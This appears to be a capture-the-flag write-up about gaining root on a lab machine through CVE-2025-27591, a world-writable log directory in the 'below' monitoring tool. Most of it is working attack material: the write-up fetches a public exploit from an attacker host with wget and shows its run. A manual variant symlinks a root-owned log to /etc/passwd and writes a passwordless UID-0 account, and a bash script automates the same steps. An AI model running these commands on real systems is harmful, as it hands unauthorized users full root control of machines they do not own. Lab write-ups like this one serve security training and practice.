-rw------- 1 root root 193 Jul 8 20:52 vmware-network.6.log
-rw------- 1 root root 193 Jul 8 20:49 vmware-network.7.log
-rw------- 1 root root 193 Jul 8 20:38 vmware-network.8.log
-rw------- 1 root root 250 Jul 8 11:13 vmware-network.9.log
-rw------- 1 root root 195 Jul 15 04:27 vmware-network.log
-rw------- 1 root root 3128 Jul 10 12:12 vmware-vmsvc-root.1.log
-rw------- 1 root root 3831 Jul 10 12:06 vmware-vmsvc-root.2.log
-rw------- 1 root root 3128 Jul 9 13:53 vmware-vmsvc-root.3.log
-rw------- 1 root root 6166 Jul 15 04:28 vmware-vmsvc-root.log
-rw------- 1 root root 5718 Jul 15 04:27 vmware-vmtoolsd-root.log
-rw-rw-r-- 1 root utmp 21888 Jul 15 04:30 wtmp
If we take a look closer to the below
directory.
1
drwxrwxrwx 3 root root 4096 Jul 8 20:45 below
We can see that the below
directory is owned by root
and the permission is 0777
.
→ Let’s research about this below
.
Below
After searching about below
, we found this below github project.
If we take a look at Security
section, we can see GHSA-9mc5-7qhg-fp3w advisory.
→ Let’s take a look at this advisory.
It was about Incorrect Permission Assignment for Critical Resource in below that effect version 0.9.0
.
If we check the permission of the below
directory, we can see that the permission is 0777
which means that everyone can write to this directory as it was said from the impact due to the creation of a world-writable directory at /var/log/below.
This vulnerability was assigned to CVE-2025-27591 and can also check in out on Facebook Security Advisory which we can escalate privilege to root from local unprivileged user through symlink attack.
To understand more about this vulnerability, we found this blog explaination from OpenSUSE.
Also another approach to figure it out this vulnerability is by checking the below
directory.
1
2
3
4
5
6
7
jacob@outbound:/var/log/below$ ls -la
total 16
drwxrwxrwx 3 root root 4096 Jul 8 20:45 .
drwxrwxr-x 13 root syslog 4096 Jul 13 08:39 ..
-rw-rw-rw- 1 jacob jacob 236 Jul 8 20:45 error_jacob.log
-rw-rw-rw- 1 root root 0 Jul 8 20:37 error_root.log
drwxr-xr-x 2 root root 4096 Jul 13 08:39 store
If we look closer to this line.
1
-rw-rw-rw- 1 root root 0 Jul 8 20:37 error_root.log
We can see that this file is empty but the permission is 0666
means that everyone can write to this file.
→ So we can leverage this point to perform a symlink attack.
Privilege Escalation
CVE-2025-27591
So as we can see that running the command above to check the privilege, we can see that we can run below
command with sudo
privilege.
1
2
3
4
5
6
jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
When we run below
command, we will see a monitor look pretty cool.
After searching for the CVE exploit PoC, we found this CVE-2025-27591-PoC repository.
→ Let’s escalate to root.
1
2
3
4
└─$ git clone https://github.com/BridgerAlderson/CVE-2025-27591-PoC.git
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
In jacob
machine, run this command to download the exploit.
1
jacob@outbound:/tmp$ wget 10.10.14.31:80/exploit.py
1
2
3
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.232.193 - - [15/Jul/2025 01:08:46] "GET /exploit.py HTTP/1.1" 200 -
Let’s run the exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
jacob@outbound:/tmp$ python3 exploit.py
[*] Checking for CVE-2025-27591 vulnerability...
[+] /var/log/below is world-writable.
[!] /var/log/below/error_root.log is a regular file. Removing it...
[+] Symlink created: /var/log/below/error_root.log -> /etc/passwd
[+] Target is vulnerable.
[*] Starting exploitation...
[+] Wrote malicious passwd line to /tmp/attacker
[+] Symlink set: /var/log/below/error_root.log -> /etc/passwd
[*] Executing 'below record' as root to trigger logging...
Jul 15 05:09:16.594 DEBG Starting up!
Jul 15 05:09:16.594 ERRO
----------------- Detected unclean exit ---------------------
Error Message: Failed to acquire file lock on index file: /var/log/below/store/index_01752537600: EAGAIN: Try again
-------------------------------------------------------------
[+] 'below record' executed.
[*] Copying payload into /etc/passwd via symlink...
[+] Running: cp /tmp/attacker /var/log/below/error_root.log
[*] Attempting to switch to root shell via 'su attacker'...
attacker@outbound:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
Now we are root
and we can get the root.txt
flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
attacker@outbound:/tmp# cd /root
attacker@outbound:~# ls -la
total 40
drwx------ 6 attacker root 4096 Jul 15 04:27 .
drwxr-xr-x 23 attacker root 4096 Jul 8 20:14 ..
lrwxrwxrwx 1 attacker root 9 Jul 8 11:12 .bash_history -> /dev/null
-rw-r--r-- 1 attacker root 3106 Apr 22 2024 .bashrc
drwx------ 2 attacker root 4096 Jul 8 20:14 .cache
-rw------- 1 attacker root 20 Jul 9 13:53 .lesshst
drwxr-xr-x 3 attacker root 4096 Jul 8 20:14 .local
-rw-r--r-- 1 attacker root 161 Apr 22 2024 .profile
-rw-r----- 1 attacker root 33 Jul 15 04:27 root.txt
drwxr-xr-x 2 attacker root 4096 Jul 9 13:47 .scripts
drwx------ 2 attacker root 4096 Jul 8 20:14 .ssh
Also there is another approach for this by using symlink attack but we gonna craft our own command manually.
Symlink attack
First, we will create a fake passwd
file.
1
echo 'pwn::0:0:pwn:/root:/bin/bash' > /tmp/fakepass
- Create a
pwn
user withUID=0
(root privileges). - No password (blank).
- Home directory is
/root
. - Shell is
/bin/bash
.
Then we will replace file log with symlink.
1
2
3
rm -f /var/log/below/error_root.log && \
ln -s /etc/passwd /var/log/below/error_root.log && \
sudo /usr/bin/below
The flow is like this:
- Delete the original log file:
rm -f /var/log/below/error_root.log
. - Create a symlink:
ln -s /etc/passwd /var/log/below/error_root.log
. - Now
error_root.log
points to/etc/passwd
. - Run below with sudo:
sudo /usr/bin/below
. below
runs as root.- When
below
logs, it will write to/etc/passwd
(via symlink).
After that, we can work with cp
.
1
cp /tmp/fakepass /var/log/below/error_root.log && su pwn
The reason why we need to do this is:
- After
below
exits, the symlink will still exist for a short time. cp
will copy the contents of/tmp/fakepass
to/var/log/below/error_root.log
.- Since this is a symlink → the data is written to
/etc/passwd
.
→ The result will be /etc/passwd
is overwritten with the fake passwd
file.
We can create a bash script to run this process.
1
2
3
4
5
#!/bin/bash
echo 'pwn::0:0:pwn:/root:/bin/bash' > /tmp/fakepass
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
sudo /usr/bin/below
Then we exit by Ctrl + C
and then ssh back again to jacob
.
→ Run this command to get the root privilege.
1
2
3
jacob@outbound:~$ cp /tmp/fakepass /var/log/below/error_root.log && su pwn
pwn@outbound:/home/jacob# whoami
pwn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwn@outbound:/home/jacob# cd /root
pwn@outbound:~# ls -la
total 40
drwx------ 6 pwn root 4096 Jul 13 08:39 .
drwxr-xr-x 23 pwn root 4096 Jul 8 20:14 ..
lrwxrwxrwx 1 pwn root 9 Jul 8 11:12 .bash_history -> /dev/null
-rw-r--r-- 1 pwn root 3106 Apr 22 2024 .bashrc
drwx------ 2 pwn root 4096 Jul 8 20:14 .cache
-rw------- 1 pwn root 20 Jul 9 13:53 .lesshst
drwxr-xr-x 3 pwn root 4096 Jul 8 20:14 .local
-rw-r--r-- 1 pwn root 161 Apr 22 2024 .profile
-rw-r----- 1 pwn root 33 Jul 13 08:39 root.txt
drwxr-xr-x 2 pwn root 4096 Jul 9 13:47 .scripts
drwx------ 2 pwn root 4096 Jul 8 20:14 .ssh
pwn@outbound:~# cat root.txt
9607dc7756dc2fd34ce7b2c517fdb872
Got the root.txt
flag.
The second way is something quite buggy so sometimes we need to restart the machine and redo the process again but it’s not a big deal. :D